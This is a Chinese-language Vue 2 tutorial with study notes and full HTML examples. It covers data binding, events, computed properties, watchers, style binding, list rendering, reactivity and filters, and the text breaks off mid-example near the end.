位置: IT常识 - 正文

Vue2学习教程（图文齐全，附带gif动图更加简单易懂）(vue2-elm)

编辑：rootadmin

Vue2学习教程（图文齐全，附带gif动图更加简单易懂）

推荐整理分享Vue2学习教程（图文齐全，附带gif动图更加简单易懂）(vue2-elm)，希望有所帮助，仅作参考，欢迎阅读内容。

文章相关热门搜索词:vue2.,vue2 jsx,vue2.x,vue2.x,vue2.,vue2 教程,vue2 教程,vue2入门,内容如对您有帮助，希望把文章链接给更多的朋友！

Vue学习笔记

1.初识vue，hello world初识vue1、想让vue工作，就必须创建一个vue实例，且要传入一个配置对象2.root容器里的代码依然符合HTML规范，只不过混入了一些特殊的vue语法3.root容器里的代码称为[vue模板]4.vue实例和容器是一一对应关系。5.真实开发中只有一个vue实例，并且会配合组件一起使用6.{{xxx}}中的xxx要写JS表达式，且xxx可以自动读取到data中的所有属性7.一旦data中数据发生变化，那么页面中会用到该数据的地方也会自动更新注意区分：JS表达式bJS代码（语句）1.表达式：一个表达式会产生一个值，可以放在任何一个需要值的地方（1）a (2)a+b (3)demo(1) (4)x===y?'a':'b'2.Js代码（1）if(){} (2)for(){}<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title>Js轮播图</title> <script src="./vue.js"></script></head><body>  <div id="root"> <h1>hello: {{name}} 年龄：{{age}} 地址：{{address}}</h1> </div>  <script type="text/javascript"> const x=new Vue({ el:'#root', //el用于指定当前vue实例为哪个容器服务，值通常为css选择器字符串 data:{ // data中用于存储数据，数据供el所指定的容器去使用，值暂时先写成一个对象 name:'特图', age:18, address:"上海" } }) </script></body></html>

(动态修改效果展示)

2.模板语法Vue模板有2大类1.插值语法：功能：用于解析标签体内容写法：{{xxx}},xxx是js表达式，且可以直接读取到data中的所有属性2.指令语法功能：用于解析标签，（包括标签属性，标签体内容，绑定事件）例子：v-bind:href="xxx"或简写为：href="xxx",xxx同时要写JS表达式且可以直接读取到data中的所有属性备注：vue中有很多的指令，且形式都是v-???,此处我们只是拿v-bind举例子<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title>Js轮播图</title> <script src="./vue.js"></script></head><body>  <div id="root"> <h1>插值语法</h1> <h1>hello: {{name}} 年龄：{{age}} 地址：{{address}}</h1> <hr> <h1>指令语法</h1>  <a v-bind:href="school.url.toUpperCase()">点我去{{school.name}}官网</a> <a :href="school.url" :x="school.x">点我去{{school.name}}官网</a> </div>  <script type="text/javascript"> const x=new Vue({ el:'#root', data:{ name:'特图', age:18, address:"上海", // 二级对象 school:{ name:'尚硅谷', url:"http://www.baidu.com", x:"我是二级中的x" } } }) </script></body></html>

3.数据绑定vue中有两种数据绑定的方式1.单项数据绑定（v-bind）:数据只能从data流向页面2.双向数据绑定（v-modle）:数据不仅能从data流向页面，还可以从页面流向data备注：1.双向绑定一般应用在表单类元素上（如input,select等）2.v-model:value 可以简写为v-model,因为v-model默认收集的就是value值<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title>Js轮播图</title> <script src="./vue.js"></script></head><body>  <div id="root">   单项数据绑定：<input type="text" v-bind:value="name"><br> 双向数据绑定：<input type="text" v-model:value="name"><br>  单项数据绑定：<input type="text" :value="name"><br> 双向数据绑定：<input type="text" v-model="name"><br>  <h2 v-model="name">你好</h2> </div>  <script type="text/javascript"> const x=new Vue({ el:'#root', data:{ name:'特图', age:18, address:"上海", // 二级对象 school:{ name:'尚硅谷', url:"http://www.baidu.com", x:"我是二级中的x" } } }) </script></body></html>

4.el与data的两种写法data与el的两种写法1.el有两种写法（1）new Vue时放置el属性（2）先创建Vue实例，随后再通过vm.$mount('XXX')来指定el的值2.data有两种写法（1）对象式（2）函数式学习到组件时，data必须使用函数式3.一个重要原则：由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不在是vue实例了<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title>Js轮播图</title> <script src="./vue.js"></script></head><body>  <div id="root"> <h2 >你好,{{name}}</h2> </div>  <script type="text/javascript"> // 第一种data和el的写法 /* const x=new Vue({ el:'#root', data:{ name:'特图', age:18, address:"上海", } }) */ /* 第二种data和el的写法 */ const v=new Vue({ data(){ return{ name:"特图", age:18, address:"上海", } } }) v.$mount("#root"); </script></body></html>

（第二种与之前的等效）

5.MVVM模型MVVM模型1.M：模型（model）：data中的数据2.V：视图（vew）：模板代码3.VM：视图模型（viewModel）：vue实例对象观察发现：1.data中所有的属性，最后都出现在了vm身上2.vm身上的所有的属性及vue原型上的所有属性，在vue模板都可以直接使用

6.object.defineProperty

相对于Java中的get,set函数

<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title>Js轮播图</title> <script src="./vue.js"></script></head><body>  <script type="text/javascript"> let number=18; let person={ name:'张三', sex:'男' } Object.defineProperty(person,'age',{ // enumerable：true 控制属性是否可以枚举，默认值是false // writeable：true 控制属性是否可以被修改，默认值是false // configurable：true 控制属性是否可以被删除，默认值是false // 当有人读取person的age属性时，getter函数就会被调用，且返回值就是age的值 get(){ console.log("有人读取age属性"); return number }, // 当有人修改person的age属性时，setter函数就会被调用，且会收到修改的值 set(value){ console.log("有人修改了age属性，其值是",value); number=value } }) </script></body></html>

7.数据代理

数据代理：通过一个对象代理对另一个对象中的属性的操作（读/写）

8.Vue中的数据代理1.Vue中的数据代理:通过vm对象来代理data对象中属性的操作2.vue中数据代理的好处更加方便的操作data中的数据3.基本原理通过object.defineProperty()把data对象中所有属性添加到vm为每一个添加到vm上的属性，都指定一个getter/setter在getter/setter内部去操作（读/写）data中对应的属性

9.事件处理事件的基本使用1.使用v-on:xxx或@xxx 绑定事件，其中xxx是事件名2.事件的回调需要配置在method对象中，最终会在vm上3.methods中配置的函数，不要有箭头函数，否则this就不是vm了4.methods中配置的函数，都是被vue所管理的函数，this的指向是vue或组件实例对象5.@click="demo"和@click="click($event,xxx)"效果一样但是后者可以传参和使用event对象<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title>Js轮播图</title> <script src="./vue.js"></script></head><body> <div id="root"> <h1>欢迎来到{{name}}学习</h1> <button @click="showinfo1">点我提示信息1（不传参）</button> <button @click="showinfo2($event,66)">点我提示信息2（传参）</button> </div>  <script type="text/javascript"> const vm=new Vue({ el:"#root", data:{ name:"尚硅谷", }, //函数写在这里比较高效 methods:{ showinfo1(){ alert("同学你好"); }, showinfo2($event,value){ alert(value+"号"+"同学你好"); } } }) </script></body></html>

10.事件修饰符Vue中的事件修饰符（属性）：1.prevent:阻止默认事件（常用）2.stop:终止事件冒泡（常用）3.once：事件只触发一次（常用）4.capture：使用事件的捕获阶段5.self：只有event.target是当前操作的元素时才触发事件6.passive：事件的默认行为立即执行，无需等待事件回调执行完毕11.键盘事件Vue中常用的按键别名：回车=》enter删除=》delete（捕获“删除”和退格键）退出=》esc空格=》esc换行=》tab上=》up下=》down左=》left右=》right2.Vue未提供别名的按键。可以使用按键原始的key值去绑定，但是要注意转为kebab-case(短横线命名法)如：CapsLock要改写为caps-lock3.系统修饰符（用法特殊）：ctrl,atl,shift,meta(win键)（1）配合keyup使用：按下修饰键的同时，再按下其他键，事件才被触发（2）配合keydown使用，正常触发事件4.也可以使用keycode去指定具体的按键（不推荐）5.Vue.config.keyCodes.自定义键名，可以去定义按键别名<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title>Js轮播图</title> <script src="./vue.js"></script></head><body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <input type="text" placeholder="按下ctrl+加任意键获得输入值" @keyup.ctrl="showinfo"> <input type="text" placeholder="按下回车获得输入值" @keyup.enter="showinfo"> </div> <script type="text/javascript"> const vm=new Vue({ el:"#root", data:{ name:"尚硅谷", }, methods:{ showinfo(e){ console.log(e.target.value) } } }) </script></body></html>

12.事件小技巧1.事件修饰符可以结合使用如：@click.prevnt.stop——————>先停止默认事件再停止冒泡2.键盘事件名称也是可以结合使用的如：@keyup.ctrl.y————————>同时按下ctrl和y才触发事件13.姓名案例<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script></head><body> <div id="root"> 姓：<input type="text" v-model="first_name"><br> 名：<input type="text" v-model="last_name"><br> <span>全名:{{fullname()}}</span> </div> <script type="text/javascript"> const vm=new Vue({ el:"#root", data:{ first_name:'张', last_name:'三' }, methods:{ fullname(){ return this.first_name+this.last_name; } } }) </script></body></html>

14.计算属性计算属性1.定义：要用的属性不存在，要通过已有属性计算得来2.原理：底层借助了Object。defineproperty方法提供的getter和setter3.get函数什么时候执行？（1）初次读取时会执行一次（2）当依赖的数据发生改变时会被再次调用4.优势：与methods实现出现在vm上，直接读取使用即可5.备注：1.计算属性最终会出现在vm上，直接读取即可2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要计算时依赖的数据发生改变<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script></head><body> <div id="root"> 姓：<input type="text" v-model="first_name"><br> 名：<input type="text" v-model="last_name"><br> <span>全名:{{fullname}}</span> </div> <script type="text/javascript"> const vm=new Vue({ el:"#root", data:{ first_name:'张', last_name:'三' }, computed:{ fullname:{ get(){ console.log("get被调用了") return this.first_name+'-'+this.last_name; }, set(value){ console.log("set被调用了") var arr=value.split("-") this.first_name=arr[0] this.last_name=arr[1]; } } } }) </script></body></html>

（初次刷新页面）

（修改全名）

15.计算属性的简写<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script></head><body> <div id="root"> 姓：<input type="text" v-model="first_name"><br> 名：<input type="text" v-model="last_name"><br> <span>全名:{{fullname}}</span> </div> <script type="text/javascript"> const vm=new Vue({ el:"#root", data:{ first_name:'张', last_name:'三' }, computed:{ // 简写形式，只用get，不用set时使用 fullname(){ console.log("get被调用了") return this.first_name+'-'+this.last_name; }, } }) </script></body></html>

16.监视属性监视属性：1.当被监视的属性变化时，回调函数自动调用，进行相关操作2.监视的属性必须存在，才能进行监视3.监视的两种写法（1）new Vue时传入watch配置（2）通过vm.$watch监视<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script></head><body> <div id="root"> <h2>今天天气{{info}}</h2> <button @click="changeWeather">切换天气</button> </div> <script type="text/javascript"> var vm=new Vue({ el:"#root", data:{ ishoot:true }, computed:{ info(){ return this.ishoot?'炎热':'凉爽' } }, methods: { changeWeather(){ this.ishoot=! this.ishoot; } }, // 第一种写法 /* watch:{ ishoot:{ immediate:true, //初始化时让handler调用一下 // handler什么时候调用，当ishot发生改变时 handler(newvalue,oldvalue){ console.log("ishot被修改了",newvalue,oldvalue) } } }, */ }) // 第二种写法 vm.$watch('ishoot',{ immediate:true, //初始化时让handler调用一下 // handler什么时候调用，当ishot发生改变时 handler(newvalue,oldvalue){ console.log("ishot被修改了",newvalue,oldvalue) } }) </script></body></html>17.深度监视深度监视：1.Vue中的watch默认不监测对象内部值的改变（一层）2.配置deep:true可以监测对象内部值改变（多层）备注（1）.vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以（2）使用watch时根据数据的具体结构，决定是否采用深度监视<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script></head><body> <div id="root"> <h2>今天天气{{info}}</h2> <button @click="changeWeather">切换天气</button> <hr> <h2>a的值是：{{numbers.a}}</h2> <button @click="numbers.a++">点我让a+1</button> </div> <script type="text/javascript"> var vm=new Vue({ el:"#root", data:{ ishoot:true, numbers:{ a:1, b:1 } }, computed:{ info(){ return this.ishoot?'炎热':'凉爽' } }, methods: { changeWeather(){ this.ishoot=! this.ishoot; } }, watch:{ ishoot:{ immediate:true, //初始化时让handler调用一下 // handler什么时候调用，当ishot发生改变时 handler(newvalue,oldvalue){ console.log("ishot被修改了",newvalue,oldvalue) } }, numbers:{ // 深度监视 deep:true, handler(){ console.log("number改变了") } } }, }) </script></body></html>

（监测到多层数据中的数据变化）

18.监视的简写//当不需要配置如深度监视和立刻执行的时候可以用简写形式，需要时不可以简写watch:{ // 简写形式1 ishoot(newvalue,oldvalue){ console.log("ishot被修改了",newvalue,oldvalue) } }, }) // 简写形式2 vm.$watch('ishoot',function(newvalue,oldvalue){ console.log("ishot被修改了",newvalue,oldvalue) })<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script></head><body> <div id="root"> 姓：<input type="text" v-model="first_name"><br> 名：<input type="text" v-model="last_name"><br> <span>全名:{{fullname}}</span> </div> <script type="text/javascript"> const vm=new Vue({ el:"#root", data:{ first_name:'张', last_name:'三', fullname:'张-三' }, // methods:{ // fullname(){ // return this.first_name+this.last_name; // } // }, watch:{ first_name(val){ //修改姓后3秒钟后修改全名 // 这里的延时器必须写成箭头函数的形式，因为该函数是一个对象的方法，则它的this指针指向这个对象 // 如果写出正常JS函数，那么this就会是window，无法执行修改任务 setTimeout(()=>{ this.fullname=val+'-'+this.last_name },3000) }, last_name(val){ this.fullname=this.firstname+'-'+val } } }) </script></body></html>19.computed和watch之间的对比两者之间的区别：1.computed能完成的功能，watch都可以完成2.watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作两个重要的小原则（1）所有被Vue管理的函数，最好写成普通函数，这样this的指向才是vm或组件实例对象（2）所有不被Vue所管理的函数（定时器的回调函数，ajax的回调函数，promise的回调函数），最好写成箭头函数，这样this的指向才是vm或组件实例对象20.绑定class样式和style样式绑定样式：1.class样式写法：class='xxx',xxx可以是字符串，对象，数组字符串写法适用于样式的类名不确定，需要动态指定数组写法，适用于：要绑定的样式个数不确定，名字也不确定对象写法，适用于：要绑定的样式个数确定，名字也确定，但要动态决定要不要使用2.style样式:style='xxx',其中xxx是动态值组成的对象:style='[a,b]'，其中a,b是样式对象<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script> <style> .basic{ width: 200px; height: 90px; border: 1px solid black; } .happy{ background-color: rgb(241, 139, 156); border: 5px solid red; } .sad{ background-color: gray; border: 5px solid green; } .normal{ background-color: rgba(45, 144, 236, 0.836); } .a1{ background-color: #bfa; } .a2{ font-size: 50px; text-shadow: orange; } .a3{ border-radius: 20px; } </style></head><body> <div id="root">  <div class="basic" :class="mood" @click="changeMood"> {{name}}</div> <br>  <div class="basic" :class="classArr">{{name}}</div> <br>  <div class="basic" :class="classobj">{{name}}</div> <br>  <div class="basic" :style="styleobj">{{name}}</div> <br>  <div class="basic" :style="[styleobj,styleobj2]">{{name}}</div> </div> <script type="text/javascript"> const vm=new Vue({ el:'#root', data:{ name:'艾米莉亚', mood:"normal", classArr:['a1','a2','a3'], classobj:{ a1:true, a2:true, }, styleobj:{ fontSize:'40px', color:'red' }, styleobj2:{ backgroundColor:'orange' }, }, methods: { changeMood(){ var arr=['happy','normal','sad']; var index=Math.floor(Math.random()*3) this.mood=arr[index] } }, }) </script></body></html>

21.条件渲染条件渲染：1.v-if写法：（1）v-if='表达式'（2）v-else-if='表达式'（3）v-else='表达式'适用于：切换频率较低的场景特点：不展示的dom元素直接移除注意：v-if可以和v-else-if，v-else一起使用，要求结构不能被打断如：<h2 v-if='n==1'></h2> <h2 v-else-if='n==2'></h2><h2>打断结构</h2><h2 v-else></h2>这样的写法是不对的2.v-show写法：v-show='表达式'适用于：切换频率较高的场景特点：不展示的Domain元素未被移除，仅仅是使用样式隐藏掉3.备注：使用v-if时元素可能无法获取到，而使用v-show一定可以获取到<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script> <style> </style></head><body> <div id="root">  <h2 v-show="false">hello</h2> <h2 v-show="1==1">world</h2> <hr>  <h2>当前的n值为{{n}}</h2> <button @click="n++">点我n+1</button> <div v-if="n==1">1</div> <div v-else-if="n==2">2</div> <div v-else-if="n==3">3</div> <div v-else>else结构</div> <hr>  <template v-if="n==1"> <h2>486</h2> <h2>艾米莉亚</h2> <h2>帕克</h2> </template> </div> <script type="text/javascript"> const vm=new Vue({ el:'#root', data:{ name:'艾米莉亚', n:0, }, methods: { changeMood(){ var arr=['happy','normal','sad']; var index=Math.floor(Math.random()*3) this.mood=arr[index] } }, }) </script></body></html>

22.列表渲染v-for指令1.用于展示列表数据2.语法：v-for='(item,index) in xxx' :key='yyy' 3.可遍历，数组，对象，字符串（用的少），指定次数（用到很少）<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <link rel="stylesheet" href="reset.css"> <title></title> <script src="./vue.js"></script> <style> </style></head><body> <div id="root">  <h1>人员信息（遍历数组）</h1> <ul> <li v-for="(p,index) in persons" :key="p.id"> {{p.name}}--{{p.age}} </li> </ul> <hr>  <h1>汽车信息（遍历对象）</h1> <ul> <li v-for="(k,value) in car" :key="index"> {{value}}--{{k}} </li> </ul> <hr>  <h1>测试遍历字符串（用的少）</h1> <ul> <li v-for="(char,index) in str" :key="index"> {{char}}--{{index}} </li> </ul> <hr>  <h1>遍历指定次数（用到少）</h1> <ul> <li v-for="(number,index) in 5"> {{number}}--{{index}} </li> </ul> <hr> </div> <script type="text/javascript"> const vm=new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'张三',age:'18'}, {id:'002',name:'李四',age:'19'}, {id:'003',name:'王五',age:'20'} ], car:{ name:'A8', price:'70万', color:'black' }, str:'hello' }, methods: { changeMood(){ var arr=['happy','normal','sad']; var index=Math.floor(Math.random()*3) this.mood=arr[index] } }, }) </script></body></html>

23.key的作用和原理面试题：react，vue中的key有什么作用（key的内部原理）1.虚拟DOM中Key的作用key是虚拟对象的标识，当数据发生变化时，vue会根据[新数据]生成[新的虚拟DOM]随后vue进行[新的虚拟DOM]与[旧的虚拟DOM]的差异比较，比较规则如下：2.对比规则：（1）旧虚拟DOM中找到了与新虚拟DOM相同的key：1、若虚拟DOM中内容没变，直接使用之前的真实DOM2、若虚拟DOM中内容变了，则生成新的真实DOM，随后替换页面中之前的真实DOM（2）旧虚拟DOM中未找到与新虚拟DOM相同的key创建新的真实DOM，随后渲染到页面3.用index作为key可能会引发的问题1.若对数据进行：逆序添加，逆序删除等跑环顺序操作会产生没有必要的真实DOM更新==>界面效果没有问题，但效率低2.如果结构中还包括输入类的DOM：会产生错误DOM更新===>界面有问题4.开发任何选择key?1.最好使用每一条数据的唯一标识作为key，比如id,手机号，身份证号，学号等唯一值2.如果不存在对数据的逆序添加，逆序删除顺序操作，只用于渲染列表用于展示，使用index作为key是没有问题的

（为什么不写key和使用index作为key会出现数据错位：index错乱）

（为什么使用唯一标识数据不错位）

24.列表过滤<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style></head><body> <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入人名" v-model="keyWord"> <ul> <li v-for="(p,index) in filPersons" :key="p.id"> {{p.name}}--{{p.age}}--{{p.sex}} </li> </ul> </div> <script type="text/javascript"> const vm=new Vue({ el:'#root', data:{ keyWord:'', persons:[ {id:'001',name:'马冬梅',age:'18',sex:'女'}, {id:'002',name:'周冬雨',age:'19',sex:'女'}, {id:'003',name:'周杰伦',age:'20',sex:'男'}, {id:'004',name:'温兆伦',age:'21',sex:'男'} ], // filPersons:[] }, methods: { add(){ const p={id:'004',name:'老王',age:'40'} this.persons.unshift(p) } }, // 用watch实现/* watch:{ keyWord:{ immediate:true, handler(val){ this.filPersons= this.persons.filter((p)=>{ return p.name.indexOf(val)!==-1 }) } } } */ // 用computed实现 computed:{ filPersons(){ return this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord)!==-1 }) } }, }) </script></body></html>

25.列表排序<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style></head><body> <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入人名" v-model="keyWord"> <button @click="sortType=2">年龄升序</button> <button @click="sortType=1">年龄降序</button> <button @click="sortType=0">原顺序</button> <ul> <li v-for="(p,index) in filPersons" :key="p.id"> {{p.name}}--{{p.age}}--{{p.sex}} </li> </ul> </div> <script type="text/javascript"> const vm=new Vue({ el:'#root', data:{ sortType:0, //0原顺序，1降序，2升序 keyWord:'', persons:[ {id:'001',name:'马冬梅',age:'30',sex:'女'}, {id:'002',name:'周冬雨',age:'32',sex:'女'}, {id:'003',name:'周杰伦',age:'19',sex:'男'}, {id:'004',name:'温兆伦',age:'21',sex:'男'} ], // filPersons:[] }, computed:{ filPersons(){ const arr= this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord)!==-1 }) // 判断一下是否排序 if(this.sortType){ arr.sort((p1,p2)=>{ return this.sortType==1?p2.age-p1.age:p1.age-p2.age }) } return arr } }, }) </script></body></html>

26.Vue监视数据的原理1.vue会监视data中所有层次的数据2.如何监视对象中的数据？通过setter实现监视且要在new Vue时就传入要监视的的数据（1）对象中后追加的属性，Vue默认不做响应式处理（2）如需给后添加的属性做响应式。要用如下的APIVue.set(target.propertyName/index,value)或vm.$set(target,propertyName/index,value)3.如何监测数组中的数据通过包裹数组更新元素的方法实现，本质就是做了两件事（1）调用原生对应的方法对数组进行更新（2）重新解析模板，进而更新页面4.在Vue修改数组中某个元素一定要用如下方法（1）使用这些API:push(),pop(),shift(),unshift(),splice(),sort(),reverse() (2)Vue.set()或vm.$set()特别注意：Vue.set()和vm.$set()不能给vm或vm的根数据对象添加属性<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style></head><body> <div id="root"> <h1>学生信息</h1> <button @click="student.age++">年龄加一岁</button><br> <button @click="addSex">添加性别属性，默认值：男</button><br> <button @click="student.sex='未知'">修改性别</button><br> <button @click="addFriend">在列表首位添加一个朋友</button><br> <button @click="updataFirstFriendName">修改第一个朋友的名字为：张三</button><br> <button @click="addhobby">添加一个爱好</button><br> <button @click="drive">修改第一个爱好为开车</button><br> <button @click="remove">过滤掉爱好中的抽烟</button> <h3>姓名：{{student.name}}</h3> <h3>年龄：{{student.age}}</h3> <h3 v-if="student.sex">性别：{{student.sex}}</h3> <h3>爱好:</h3> <ul> <li v-for="(h,index) in student.hobby" :key="index">{{h}}</li> </ul> <h3>朋友们：</h3> <li v-for="(f,index) in student.friends" :key="index"> {{f.name}}--{{f.age}} </li> </div> <script type="text/javascript"> const vm=new Vue({ el:'#root', data:{ student:{ name:'tom', age:18, hobby:['抽烟','喝酒','烫头'], friends:[ {name:'jerry',age:35}, {name:'tony',age:36} ] }, }, methods: { addSex(){ // Vue.set(this.student,'sex','男') vm.$set(this.student,'sex','男') }, addFriend(){ this.student.friends.unshift({name:'jike',age:70}) }, updataFirstFriendName(){ this.student.friends[0].name='张三' }, addhobby(){ this.student.hobby.push("学习") }, drive(){ this.student.hobby.splice(0,1,'开车') }, remove(){ this.student.hobby=this.student.hobby.filter((h)=>{ return h!='抽烟' }) } }, }) </script></body></html>

27.收集表单数据收集表单数据1.input type=‘text’,则v-model收集的是value值，用户输入的就是value值2.input type='radio'，则v-model收集的value值，且要给标签配置value值3.input type='checkbox'，那么收集的就是checked（1）.没有配置input的value属性，那么收集的就是checked（勾选或未勾选，是布尔值）（2）.配置input的value属性1.v-model的初始值是非数组，那么收集的就是checked（勾选或未勾选，是布尔值）2.v-model的初始值是数组，那么收集的就是value组成的数组4.v-model的三个修饰符：lazy：失去焦点再收集数据number：输入字符串转为有效的数字trim：输入首尾空格过滤<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style></head><body> <div id="root"> <form @submit.prevent="demo"> 账号：<input type="text" v-model.trim="userinfo.account"><br> 密码：<input type="password" v-model='userinfo.password' ><br> 年龄：<input type="number" v-model.number="userinfo.age"><br> 性别：男<input type="radio" name="sex" v-model="userinfo.sex" value="male" > 女<input type="radio" name="sex" v-model="userinfo.sex" value="female" ><br> 爱好：学习：<input type="checkbox" v-model="userinfo.hobby" value="study" > 打游戏：<input type="checkbox" v-model="userinfo.hobby" value="game" > 吃饭：<input type="checkbox" v-model="userinfo.hobby" value="eat" > <br> 所属校区： <select v-model="userinfo.city" > <option value="">请选择校区</option> <option value="beijing">北京</option> <option value="shanghai">上海</option> <option value="shenzhen">深圳</option> <option value="wuhan">武汉</option> </select> <br> 其他信息： <textarea v-model.lazy="userinfo.other" ></textarea> <br> <input type="checkbox" v-model="userinfo.agree" >阅读并接受<a href="">用户协议</a> <button>提交</button> </form> </div> <script type="text/javascript"> const vm=new Vue({ el:'#root', data:{ userinfo:{ account:'', password:'', age:'', sex:'male', hobby:[], city:'', other:'', agree:'', } }, methods: { demo(){ alert(JSON.stringify(this.userinfo)) } }, }) </script></body></html>28.过滤器过滤器：定义：对要显示的数据进行特定格式化后显示（适用一些简单逻辑的处理）语法：1.注册过滤器Vue.filter(name,classback)或new Vue(filter:{})2.使用过滤器：{{xxx|过滤器名}}或v-bind：属性='xxx|过滤器名'备注：1.过滤器也可以接受额外参数，多个过滤器也可以串联2.并没有改变原理的数据，是产生新的对应属性<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.0/dayjs.min.js"></script> <style> </style></head><body> <div id="root"> <h2>显示格式化后的时间</h2>  <h3>现在是：{{fmtTime}}</h3>  <h3>现在是{{getFmtTime()}}</h3>  <h3>现在是：{{time | timeFormater}}</h3>  <h3>现在是：{{time | timeFormater('YYYY_MM_DD')|myslice}}</h3> <h3 